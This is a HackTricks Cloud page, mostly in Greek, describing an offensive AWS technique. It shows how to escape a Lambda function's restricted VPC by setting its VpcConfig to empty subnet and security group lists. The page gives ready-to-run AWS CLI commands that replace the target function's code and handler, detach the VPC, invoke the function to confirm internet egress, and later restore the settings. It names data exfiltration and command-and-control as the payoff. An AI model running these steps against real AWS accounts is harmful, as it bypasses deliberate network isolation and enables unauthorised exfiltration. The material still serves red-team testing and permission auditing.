AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Αναγκάστε μια Lambda function να εξέλθει από ένα περιορισμένο VPC ενημερώνοντας τη ρύθμισή της με ένα κενό VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Η function θα τρέξει τότε στο Lambda-managed networking plane, επανακτώντας την εξερχόμενη πρόσβαση στο Internet και παρακάμπτοντας τους ελέγχους egress που εφαρμόζονται από ιδιωτικά VPC subnets χωρίς NAT.
Κατάχρηση
- Προαπαιτούμενα: lambda:UpdateFunctionConfiguration στο target function (και lambda:InvokeFunction για επικύρωση), καθώς και δικαιώματα για update κώδικα/handler αν τα αλλάξετε.
- Υποθέσεις: Η function είναι αυτή τη στιγμή ρυθμισμένη με VpcConfig που δείχνει σε ιδιωτικά subnets χωρίς NAT (οπότε η εξερχόμενη πρόσβαση στο Internet είναι μπλοκαρισμένη).
- Region: us-east-1
Βήματα
- Προετοιμάστε έναν ελάχιστο handler που αποδεικνύει ότι η εξερχόμενη HTTP λειτουργεί
cat > net.py <<‘PY’ import urllib.request, json
def lambda_handler(event, context): try: ip = urllib.request.urlopen(‘https://checkip.amazonaws.com’, timeout=3).read().decode().strip() return {“egress”: True, “ip”: ip} except Exception as e: return {“egress”: False, “err”: str(e)} PY zip net.zip net.py aws lambda update-function-code –function-name $TARGET_FN –zip-file fileb://net.zip –region $REGION || true aws lambda update-function-configuration –function-name $TARGET_FN –handler net.lambda_handler –region $REGION || true
- Καταγράψτε την τρέχουσα VPC config (για αποκατάσταση αργότερα αν χρειαστεί)
aws lambda get-function-configuration –function-name $TARGET_FN –query ‘VpcConfig’ –region $REGION > /tmp/orig-vpc.json cat /tmp/orig-vpc.json
- Αποσυνδέστε το VPC θέτοντας κενές λίστες
aws lambda update-function-configuration
–function-name $TARGET_FN
–vpc-config SubnetIds=[],SecurityGroupIds=[]
–region $REGION
until [ “$(aws lambda get-function-configuration –function-name $TARGET_FN –query LastUpdateStatus –output text –region $REGION)” = “Successful” ]; do sleep 2; done
- Επικαλεστείτε και επαληθεύστε την εξερχόμενη πρόσβαση
aws lambda invoke –function-name $TARGET_FN /tmp/net-out.json –region $REGION >/dev/null cat /tmp/net-out.json
(Προαιρετικό) Επαναφέρετε την αρχική VPC config
if jq -e ‘.SubnetIds | length > 0’ /tmp/orig-vpc.json >/dev/null; then SUBS=$(jq -r ‘.SubnetIds | join(“,”)’ /tmp/orig-vpc.json); SGS=$(jq -r ‘.SecurityGroupIds | join(“,”)’ /tmp/orig-vpc.json) aws lambda update-function-configuration –function-name $TARGET_FN –vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] –region $REGION fi
Επιπτώσεις
- Επανακτάται η απεριόριστη εξερχόμενη πρόσβαση στο Internet από τη function, επιτρέποντας data exfiltration ή C2 από workloads που είχαν σκόπιμα απομονωθεί σε ιδιωτικά subnets χωρίς NAT.
Παράδειγμα output (μετά την αποσύνδεση του VpcConfig)
{“egress”: true, “ip”: “34.x.x.x”}
Καθαρισμός
- Αν δημιουργήσατε προσωρινές αλλαγές στον κώδικα/handler, επαναφέρετέ τες.
- Προαιρετικά επαναφέρετε το αρχικό VpcConfig αποθηκευμένο στο /tmp/orig-vpc.json όπως φαίνεται παραπάνω.
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

